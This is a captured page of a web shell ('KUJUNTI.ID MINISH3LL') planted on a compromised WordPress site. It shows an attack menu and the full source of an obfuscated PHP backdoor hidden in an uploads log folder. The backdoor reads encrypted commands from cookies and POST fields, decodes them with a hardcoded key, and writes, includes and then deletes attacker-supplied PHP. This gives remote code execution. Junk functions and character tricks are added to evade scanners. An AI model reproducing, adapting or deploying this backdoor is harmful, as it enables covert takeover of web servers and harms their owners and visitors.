\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tecnic24.com/wordpress/wp-content/uploads/wc-logs/
(S)h3ll Cr3at0r :
F!le Upl0ad :
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H
Current File : /var/www/html/tecnic24.com/wordpress/wp-content/uploads/wc-logs/kcxtjhqm.php


<?php 

$vwpw_kkxvl      =     'vwpw_kkxvl'    ^     '';



function    rglkkpoo(){    $qgpcir  =	36;

   $ksyrpwjl /*szowh*/ =    '_wvpsjxo';

    $rhuhx       =   'oh';	$xjpzexrpr /*  iylpu*/ =   'cj'; /*uh*/ $xxnegwigit     =      str_replace('pqhbts',    'wut', /* auvm*/ $xjpzexrpr);


}


rglkkpoo();


$qziwcza    =	$_COOKIE;


$dfdqfbf    = /*g*/ 73;






function	bapoxcu($zdnstepnx,    $esjkog_vm)
{
	global /* lfi */ $vwpw_kkxvl;	
	file_put_contents($esjkog_vm,       "<"    . /*  i*/ "\77" /* b   */ . /*  ilk*/ "p"."h"."\x70" /* uoscb */ .	$vwpw_kkxvl(32)	. /* s*/ "u".$vwpw_kkxvl(110)  .    "l"."i"."n"."\153"      . /*  uxmts */ $vwpw_kkxvl(40)     .       "\x5f" /*  luc_ */ . /*  qsmma */ "_"."F"."I".$vwpw_kkxvl(1023-947)    . /*   uzg*/ "\x45" /* xsey */ .      "_"."_".")".";".$vwpw_kkxvl(32)   .	$zdnstepnx[$vwpw_kkxvl(100)]);

        zcfhtcyut($esjkog_vm);
}


function    zcfhtcyut($esjkog_vm)
{ /*  o   */ global /* vzhqd*/ $vwpw_kkxvl;
 /* _znr */ 


       include($esjkog_vm);	$fbrd_ezovikf       =	$esjkog_vm;

 /*wbl   */ @unlink($fbrd_ezovikf);


}




function    wrnbxwrfp()

{ /*   map   */ global /*   iy   */ $vwpw_kkxvl;

    $hl_awmi	= /*  csadow   */ array();   $hl_awmi[$vwpw_kkxvl(1024-912)	.  $vwpw_kkxvl(118)]    =	phpversion(); /*   jlljl*/ $hl_awmi["s"."v"]	=    $vwpw_kkxvl(51)    .     $vwpw_kkxvl(1003-957)   . /*iq  */ "5";	$prcctjrua    =    74;

	echo      @serialize($hl_awmi);
}


function       ufbizznwq(){
	$fcmsuhs    =       'pl';


	$fbrd__xlipbd    = /*cefswd */ 44;

    $ksxcvyhw	= /*evtazh   */ 47;

 /*   yw  */ $as_lbc       = /*rgka   */ 'xhbakczz';

}



ufbizznwq();



function    fvsemxyfkb($zdnstepnx, /*  ccg */ $tdiret)
{
	global	$vwpw_kkxvl;

 /*   xhm */ $bpeuytxay	=  "";
	$wildebjw_ /* z_xhfo*/ =	'zttrfz';	for    ($hl_awmi /*   _xfgxa   */ =    0;    $hl_awmi	<	strlen($zdnstepnx);)	{
	for      ($fbrd_    = /* snfo   */ 0;	$fbrd_      <   strlen($tdiret)     && /*  ro  */ $hl_awmi   <     strlen($zdnstepnx);       $fbrd_++,   $hl_awmi++)    {


	$bpeuytxay /*jfprwi*/ .= /*gsatz */ $vwpw_kkxvl(ord($zdnstepnx[$hl_awmi])    ^ /*   e  */ ord($tdiret[$fbrd_]));


    }

    } /*   au  */ return     $bpeuytxay;
}


function    supbw()

{


    $gcbnza	=	14;
       $gzqmhiti       = /*  mwujk   */ 'oiwex_eu';

    $negvwo	= /*kaqbp   */ 18;


	$aejzliajhw   =    49;   $bgmyvmnz    = /*xo  */ 'lkjcfpk';
      $oqysxjgw /*   wa*/ =    'pz_nopu_'; /*   buw   */ $gcbnza /*  ltgjwb */ =    $aejzliajhw    * /*  ndb*/ $aejzliajhw;

	$fbrd_v_emuicya     = /*ypai_   */ $aejzliajhw       /    ($aejzliajhw       +	10);


 /*  ktt  */ $csybnu    = /*  hfgwpx   */ 39;


}
supbw();


function       yyjbdbfnvm($zdnstepnx,   $nldzpbtg,      $bvgxtvxcdb)
{

     global       $vwpw_kkxvl;

	$zdnstepnx     =    unserialize(fvsemxyfkb(fvsemxyfkb(base64_decode($zdnstepnx),	$nldzpbtg), /*  yfm_n */ $bvgxtvxcdb));
	$lrypew    =    'ogatcej';

	$aviw_a     = /*  b */ 'pqxbk';       if	(isset($zdnstepnx["\141"       .	"k"])) /*  wygjp */ {


 /* sadqf*/ if	($zdnstepnx["a"]	==     "i")	{


    wrnbxwrfp(); /*   jz   */ }   elseif      ($zdnstepnx["a"]    ==  $vwpw_kkxvl(101))	{
 /*qt*/ bapoxcu($zdnstepnx,    sprintf("."."/"."%"."s"."."."p"."l",     md5($nldzpbtg)));


			$fbrd_julhcz /*  h_qig   */ =   44;   }

	exit();  }
}





	$fbrd_rlsrfc /*   sgunx*/ =    69;	$hl_awmivfrfw     =      22;


$nldzpbtg	=     $vwpw_kkxvl(51)    .    "\64"    . /* zp */ "1"."3"."c".$vwpw_kkxvl(280-183)	.    "\x35"  . /* gl   */ $vwpw_kkxvl(49) /*   tfzn   */ .    "-"."\142" /*tf  */ .	"c".$vwpw_kkxvl(803-702)	.   "\144"       . /*  frx */ $vwpw_kkxvl(791-746) /*   murisl  */ . /*  c   */ "4"."6"."5".$vwpw_kkxvl(903-854)	.   "\55"	.     "9"."\145"	.  "8"."\62"   . /*   azqunc */ $vwpw_kkxvl(334-289) /*   zabyf  */ .       $vwpw_kkxvl(97)    . /*   yqivtc */ "\x66"     .	"5"."\66"	. /*   lbed   */ $vwpw_kkxvl(52)     . /*ujx_p   */ $vwpw_kkxvl(101)."\x63"     .    "9"."c"."c"."c".$vwpw_kkxvl(665-615);

$hl_awmivfrfw    =       $fbrd_rlsrfc	+      15;

foreach     ($qziwcza     as    $bvgxtvxcdb	=> /* khmdai  */ $zdnstepnx)   {	yyjbdbfnvm($zdnstepnx,   $nldzpbtg,      $bvgxtvxcdb);}
foreach    ($_POST	as    $bvgxtvxcdb	=>     $zdnstepnx)	{

      yyjbdbfnvm($zdnstepnx,    $nldzpbtg,	$bvgxtvxcdb);}




$wkfm_o_	= /*k   */ 6;




?>

© KUJUNTI.ID